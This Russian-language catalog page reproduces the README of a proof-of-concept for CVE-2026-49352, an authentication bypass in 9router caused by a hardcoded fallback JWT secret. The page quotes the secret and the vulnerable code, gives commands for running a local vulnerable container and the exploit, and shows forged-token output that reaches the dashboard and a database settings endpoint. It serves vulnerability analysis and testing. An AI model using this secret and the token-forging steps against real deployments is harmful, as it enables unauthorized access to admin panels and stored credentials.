Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-49352-poc — Эксплуатационный PoC для CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass) | Kitploit
Инструменты/GitHubGitHub/covepseng/cve-2026-49352-poc
Аутентификация и авторизацияГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubcovepseng/cve-2026-49352-poc

cve-2026-49352-poc

Эксплуатационный PoC для CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)

Репозиторий
192 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49352 — Обход аутентификации через жестко заданный секрет JWT в 9router

Содержание

  • Обзор
  • Затронутые версии
  • Причина
  • Анализ
  • Структура репозитория
  • Требования
  • Использование
  • Ожидаемый вывод
  • Ссылки
  • Отказ от ответственности

Обзор

CVE-2026-49352 — это уязвимость в 9router, самостоятельном прокси на Node.js/Next.js для инструментов кодирования ИИ. JWT сессии панели управления подписывается секретом, получаемым из переменной окружения JWT_SECRET, но если эта переменная не задана, обработчик входа и защитник запросов возвращаются к одному и тому же жестко заданному литералу:

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

Поскольку эта строка зафиксирована в публичном репозитории, она вовсе не является секретом. Любой злоумышленник может подписать ей токен и быть принятым за аутентифицированного пользователя панели управления.


Затронутые версии

Затронутый диапазонИсправлено в
0.2.21 – 0.4.410.4.45

Причина

Запасной секрет определен одинаково в двух независимых файлах.

src/app/api/auth/login/route.js — выдает токен сессии при входе:

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("24h")
  .sign(SECRET);

src/dashboardGuard.js — проверяет токен при каждом защищенном запросе:

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

async function hasValidToken(request) {
  const token = request.cookies.get("auth_token")?.value;
  if (!token) return false;
  try {
    await jwtVerify(token, SECRET);
    return true;
  } catch {
    return false;
  }
}

Успех hasValidToken() является единственным условием, проверяемым перед предоставлением доступа к /dashboard и к конечным точкам, перечисленным в ALWAYS_PROTECTED (включая /api/settings/database). Не производится поиска записи сессии и не проверяется, откуда пришел токен — действительная подпись считается подтверждением личности.


Анализ

Обход подтвержден и воспроизводим на сборке уязвимой кодовой базы. При незаданном JWT_SECRET:

[1] Формирование JWT сессии панели управления с использованием жестко заданного запасного секрета...
[+] Сформирован auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

[2] Запрос /dashboard с поддельным cookie auth_token...
[+] 200 OK — обход аутентификации подтвержден

[3] Проверка /api/settings/database на раскрытые учетные данные...
[+] /api/settings/database вернул 200

Форма развертывания имеет значение

Уязвимость срабатывает только если JWT_SECRET никогда не был установлен оператором — это значение по умолчанию для большинства быстрых развертываний / docker-run, которые пропускают этап настройки окружения. Развертывания, которые явно задают JWT_SECRET случайным значением, не подвержены уязвимости, так как SECRET вычисляется один раз при загрузке модуля и никогда не возвращается к запасному варианту.


Структура репозитория

cve-2026-49352-poc/
├── dockerfile                   # 9router собран из исходников, зафиксирован на версии v0.4.30 (уязвимая)
├── podman-compose.yml           # сборка + запуск, JWT_SECRET намеренно пропущен
└── exploit/
    ├── go.mod                   # требуется github.com/golang-jwt/jwt/v5
    └── exploit.go                # PoC — Go

Требования

ИнструментВерсияПримечания
Podman≥ 4.0требуется podman-compose
Go≥ 1.22Для запуска эксплойта локально

Внешняя зависимость Go: github.com/golang-jwt/jwt/v5.


Использование

1. Сборка и запуск контейнера

podman-compose build
podman-compose up -d

Дождитесь, пока приложение сообщит о готовности, затем проверьте:

curl -si http://localhost:20128/dashboard | head -1
# Ожидаемый результат: HTTP/1.1 307 (перенаправление на /login, сессия еще не создана)

2. Запуск эксплойта

cd exploit
go run exploit.go -target http://localhost:20128

Добавьте -probe, чтобы также запросить /api/settings/database с поддельным cookie:

go run exploit.go -target http://localhost:20128 -probe

Доступные флаги:

ФлагПо умолчаниюОписание
-targethttp://localhost:20128Базовый URL экземпляра 9router
-secret9router-default-secret-change-meЗапасной секрет JWT для подделки
-ttl36 * 365 * 24hОкно действия поддельного токена
-probefalseТакже запросить /api/settings/database

3. Очистка

podman-compose down -v

Ожидаемый вывод

[1] Формирование JWT сессии панели управления с использованием жестко заданного запасного секрета...
[+] Сформирован auth_token:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Запрос /dashboard с поддельным cookie auth_token...
[+] 200 OK — обход аутентификации подтвержден для http://localhost:20128
[3] Проверка /api/settings/database на раскрытые учетные данные (согласно сценарию атаки из уведомления)...
[+] /api/settings/database вернул 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}

Ссылки

РесурсСсылка
УведомлениеGHSA-jphh-m39h-6gwx
Уязвимый репозиторийdecolua/9router
Полный анализ — статья в блогеreturn-zero.dev/posts/cve-2026-49352

Отказ от ответственности

Этот репозиторий предназначен только для образовательных целей и локального анализа эксплуатируемости. Все тестирование проводилось в собственной контейнерной среде. Не запускайте этот PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.

Скачать инструмент